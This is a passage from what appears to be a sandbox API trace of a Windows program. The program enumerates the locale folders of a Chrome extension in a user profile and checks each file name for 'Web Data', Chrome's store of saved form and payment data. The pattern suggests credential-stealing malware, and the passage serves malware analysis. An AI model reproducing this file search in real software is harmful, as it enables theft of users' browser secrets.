IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.287] lstrlenA (lpString="el") returned 2 [0056.287] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.287] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.287] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el" [0056.287] LocalFree (hMem=0x2daca0) returned 0x0 [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el") returned 133 [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el") returned 133 [0056.287] lstrlenA (lpString="\\*.*") returned 4 [0056.287] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.287] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el" [0056.287] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*" [0056.287] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.287] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.288] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.288] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.288] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.288] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.288] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.288] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.288] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.288] LocalFree (hMem=0x2daec0) returned 0x0 [0056.288] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.288] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.288] lstrcmpiA (lpString1=".", lpString2="en") returned -1 [0056.288] lstrcmpiA (lpString1="..", lpString2="en") returned -1 [0056.288] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.288] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.288] lstrlenA (lpString="\\") returned 1 [0056.288] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.288] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.288] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.288] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.288] lstrlenA (lpString="en") returned 2 [0056.288] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.288] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.288] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="en" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en" [0056.288] LocalFree (hMem=0x2daca0) returned 0x0 [0056.288] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en") returned 133 [0056.288] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en") returned 133 [0056.288] lstrlenA (lpString="\\*.*") returned 4 [0056.288] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.288] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en" [0056.288] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*" [0056.288] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.288] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.288] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.288] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.288] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.288] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.288] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.288] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.288] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.288] LocalFree (hMem=0x2daec0) returned 0x0 [0056.288] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.288] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.289] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.289] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.289] lstrlenA (lpString="\\") returned 1 [0056.289] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.289] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.289] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.289] lstrlenA (lpString="es") returned 2 [0056.289] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.289] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.289] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es" [0056.289] LocalFree (hMem=0x2daca0) returned 0x0 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es") returned 133 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es") returned 133 [0056.289] lstrlenA (lpString="\\*.*") returned 4 [0056.289] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.289] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es" [0056.289] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*" [0056.289] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.289] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.289] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.289] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.289] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.289] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.289] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.289] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.289] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.289] LocalFree (hMem=0x2daec0) returned 0x0 [0056.289] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.289] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.289] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.289] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.289] lstrlenA (lpString="\\") returned 1 [0056.289] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.289] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.289] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.289] lstrlenA (lpString="fi") returned 2 [0056.289] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.289] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.289] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi" [0056.289] LocalFree (hMem=0x2daca0) returned 0x0 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi") returned 133 [0056.289] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi") returned 133 [0056.290] lstrlenA (lpString="\\*.*") returned 4 [0056.290] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.290] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi" [0056.290] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*" [0056.290] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.290] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.290] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.290] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.290] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.290] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.290] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.290] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.290] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.290] LocalFree (hMem=0x2daec0) returned 0x0 [0056.290] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.290] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.290] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.290] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.290] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.290] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.290] lstrlenA (lpString="\\") returned 1 [0056.290] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.290] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.290] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.290] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 